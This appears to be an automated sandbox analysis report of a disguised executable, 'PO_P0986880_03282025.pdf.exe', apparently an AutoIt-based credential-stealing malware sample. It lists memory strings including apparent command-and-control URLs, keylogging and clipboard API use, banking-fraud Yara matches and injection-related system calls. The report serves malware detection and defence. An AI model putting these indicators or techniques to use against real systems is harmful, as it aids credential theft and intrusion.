67 69 6e 3a 20 37 30 70 78 20 30 20 30 20 30 3b 7d 0a 20 20 20 20 20 20 20 20 68 32 20 7b 63 6f 6c 6f 72 3a 20 23 44 45 36 43 35 44 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 61 72 69 61 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 31 70 78 3b 20 6d 61 72 67 69 6e 3a 20 31 35 70 78 20 30 20 32 35 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 70 20 7b 77 69 64 74 68 3a 33 32 30 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 20 6d 61 72 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <title>Website Suspended</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="description" content="This website has been suspended."/> <style type="text/css"> body {font-size:14px; color:#777777

Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3680856702.0000000004108000.00000004.10000000.00040000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000002.3680302788.0000000002F18000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://51-clubb.net/9rq7/?GRyLv=zjIHmEPkhIpW8dQ17FEXUtrtuIGEdL59j7w9v758qpBLhoB7ZHWsrOFH2xY8fxi6Oqh8
Source: fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000002.3682147563.0000000004CBB000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.auctionringer.online
Source: fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000002.3682147563.0000000004CBB000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.auctionringer.online/bt88/
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1778179314.0000000007E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1778179314.0000000007E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1778179314.0000000007E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1778179314.0000000007E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1778179314.0000000007E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1778179314.0000000007E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20-
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1778179314.0000000007E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1778179314.0000000007E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3682857389.00000000063C0000.00000004.00000800.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3680856702.0000000004F2A000.00000004.10000000.00040000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000002.3680302788.0000000003D3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002C91000.00000004.00000020.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002CB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002C91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1773617426.0000000007DE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002C91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002CB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002C91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002C91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002CB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1778179314.0000000007E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3680856702.0000000004750000.00000004.10000000.00040000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000002.3680302788.0000000003560000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: RMActivate_ssp_isv.exe, 0000000A.00000003.1778179314.0000000007E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico

Key, Mouse, Clipboard, Microphone and Screen Capturing

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AC4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00AC4164

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AC4164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00AC4164

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AC3F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00AC3F66

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AB001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00AB001C

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00ADCABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00ADCABC

E-Banking Fraud

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1583802234.00000000033F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1583402724.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3680204431.0000000003000000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3678375316.0000000002950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3680275719.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3682147563.0000000004C40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1584252317.0000000005A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3680107281.0000000004310000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: This is a third-party compiled AutoIt script.		0_2_00A53B3A
Source: PO_P0986880_03282025.pdf.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: PO_P0986880_03282025.pdf.exe, 00000000.00000000.1215013079.0000000000B04000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_85a0a589-5
Source: PO_P0986880_03282025.pdf.exe, 00000000.00000000.1215013079.0000000000B04000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`		memstr_9386794c-e
Source: PO_P0986880_03282025.pdf.exe	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_bda3acf1-1
Source: PO_P0986880_03282025.pdf.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`		memstr_0569f8ff-b

Source: initial sample	Static PE information: Filename: PO_P0986880_03282025.pdf.exe
Source: initial sample	Static PE information: Filename: PO_P0986880_03282025.pdf.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C613 NtClose,		2_2_0042C613
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572B60 NtClose,LdrInitializeThunk,		2_2_03572B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572DF0 NtQuerySystemInformation,LdrInitializeThunk,		2_2_03572DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035735C0 NtCreateMutant,LdrInitializeThunk,		2_2_035735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03574340 NtSetContextThread,		2_2_03574340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03574650 NtSuspendThread,		2_2_03574650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572BF0 NtAllocateVirtualMemory,		2_2_03572BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572BE0 NtQueryValueKey,		2_2_03572BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572B80 NtQueryInformationFile,		2_2_03572B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572BA0 NtEnumerateValueKey,		2_2_03572BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572AD0 NtReadFile,		2_2_03572AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572AF0 NtWriteFile,		2_2_03572AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572AB0 NtWaitForSingleObject,		2_2_03572AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572F60 NtCreateProcessEx,		2_2_03572F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572F30 NtCreateSection,		2_2_03572F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572FE0 NtCreateFile,		2_2_03572FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572F90 NtProtectVirtualMemory,		2_2_03572F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572FB0 NtResumeThread,		2_2_03572FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572FA0 NtQuerySection,		2_2_03572FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572E30 NtWriteVirtualMemory,		2_2_03572E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572EE0 NtQueueApcThread,		2_2_03572EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572E80 NtReadVirtualMemory,		2_2_03572E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572EA0 NtAdjustPrivilegesToken,		2_2_03572EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572D10 NtMapViewOfSection,		2_2_03572D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572D00 NtSetInformationFile,		2_2_03572D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572D30 NtUnmapViewOfSection,		2_2_03572D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572DD0 NtDelayExecution,		2_2_03572DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572DB0 NtEnumerateKey,		2_2_03572DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572C70 NtFreeVirtualMemory,		2_2_03572C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572C60 NtCreateKey,		2_2_03572C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572C00 NtQueryInformationProcess,		2_2_03572C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572CC0 NtQueryVirtualMemory,		2_2_03572CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572CF0 NtOpenProcess,		2_2_03572CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03572CA0 NtQueryInformationToken,		2_2_03572CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03573010 NtOpenDirectoryObject,		2_2_03573010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03573090 NtSetValueKey,		2_2_03573090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035739B0 NtGetContextThread,		2_2_035739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03573D70 NtOpenThread,		2_2_03573D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03573D10 NtOpenProcessToken,		2_2_03573D10
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03444340 NtSetContextThread,LdrInitializeThunk,		10_2_03444340
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03444650 NtSuspendThread,LdrInitializeThunk,		10_2_03444650
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442B60 NtClose,LdrInitializeThunk,		10_2_03442B60
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442BE0 NtQueryValueKey,LdrInitializeThunk,		10_2_03442BE0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442BF0 NtAllocateVirtualMemory,LdrInitializeThunk,		10_2_03442BF0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442BA0 NtEnumerateValueKey,LdrInitializeThunk,		10_2_03442BA0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442AD0 NtReadFile,LdrInitializeThunk,		10_2_03442AD0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442AF0 NtWriteFile,LdrInitializeThunk,		10_2_03442AF0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442F30 NtCreateSection,LdrInitializeThunk,		10_2_03442F30
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442FE0 NtCreateFile,LdrInitializeThunk,		10_2_03442FE0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442FB0 NtResumeThread,LdrInitializeThunk,		10_2_03442FB0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442EE0 NtQueueApcThread,LdrInitializeThunk,		10_2_03442EE0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442E80 NtReadVirtualMemory,LdrInitializeThunk,		10_2_03442E80
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442D10 NtMapViewOfSection,LdrInitializeThunk,		10_2_03442D10
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442D30 NtUnmapViewOfSection,LdrInitializeThunk,		10_2_03442D30
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442DD0 NtDelayExecution,LdrInitializeThunk,		10_2_03442DD0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442DF0 NtQuerySystemInformation,LdrInitializeThunk,		10_2_03442DF0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442C60 NtCreateKey,LdrInitializeThunk,		10_2_03442C60
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442C70 NtFreeVirtualMemory,LdrInitializeThunk,		10_2_03442C70
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442CA0 NtQueryInformationToken,LdrInitializeThunk,		10_2_03442CA0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034435C0 NtCreateMutant,LdrInitializeThunk,		10_2_034435C0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034439B0 NtGetContextThread,LdrInitializeThunk,		10_2_034439B0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442B80 NtQueryInformationFile,		10_2_03442B80
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442AB0 NtWaitForSingleObject,		10_2_03442AB0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442F60 NtCreateProcessEx,		10_2_03442F60
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442F90 NtProtectVirtualMemory,		10_2_03442F90
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442FA0 NtQuerySection,		10_2_03442FA0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442E30 NtWriteVirtualMemory,		10_2_03442E30
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442EA0 NtAdjustPrivilegesToken,		10_2_03442EA0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442D00 NtSetInformationFile,		10_2_03442D00
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442DB0 NtEnumerateKey,		10_2_03442DB0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442C00 NtQueryInformationProcess,		10_2_03442C00
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442CC0 NtQueryVirtualMemory,		10_2_03442CC0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03442CF0 NtOpenProcess,		10_2_03442CF0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03443010 NtOpenDirectoryObject,		10_2_03443010
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03443090 NtSetValueKey,		10_2_03443090
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03443D70 NtOpenThread,		10_2_03443D70
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_03443D10 NtOpenProcessToken,		10_2_03443D10
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_02978F40 NtReadFile,		10_2_02978F40
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_02978DD0 NtCreateFile,		10_2_02978DD0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_02979240 NtAllocateVirtualMemory,		10_2_02979240
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_029790E0 NtClose,		10_2_029790E0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_02979030 NtDeleteFile,		10_2_02979030

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00ABA1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00ABA1EF

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AA8310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00AA8310

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AB51BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00AB51BD

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A5E6A0		0_2_00A5E6A0
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A7D975		0_2_00A7D975
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A5FCE0		0_2_00A5FCE0
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A721C5		0_2_00A721C5
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A862D2		0_2_00A862D2
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AD03DA		0_2_00AD03DA
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A8242E		0_2_00A8242E
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A725FA		0_2_00A725FA
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A666E1		0_2_00A666E1
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AAE616		0_2_00AAE616
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A8878F		0_2_00A8878F
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AB8889		0_2_00AB8889
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A68808		0_2_00A68808
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A86844		0_2_00A86844
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AD0857		0_2_00AD0857
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A7CB21		0_2_00A7CB21
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A86DB6		0_2_00A86DB6
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A66F9E		0_2_00A66F9E
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A63030		0_2_00A63030
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A73187		0_2_00A73187
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A7F1D9		0_2_00A7F1D9
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A51287		0_2_00A51287
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A71484		0_2_00A71484
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A65520		0_2_00A65520
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A77696		0_2_00A77696
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A65760		0_2_00A65760
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A71978		0_2_00A71978
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A89AB5		0_2_00A89AB5
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A7BDA6		0_2_00A7BDA6
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A71D90		0_2_00A71D90
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AD7DDB		0_2_00AD7DDB
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A63FE0		0_2_00A63FE0
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A5DF00		0_2_00A5DF00
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_011E3840		0_2_011E3840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418463		2_2_00418463
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401180		2_2_00401180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004032B0		2_2_004032B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EC53		2_2_0042EC53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FC33		2_2_0040FC33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402D1F		2_2_00402D1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402D20		2_2_00402D20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040DE53		2_2_0040DE53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FE53		2_2_0040FE53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416673		2_2_00416673
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402797		2_2_00402797
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004027A0		2_2_004027A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040DFA3		2_2_0040DFA3
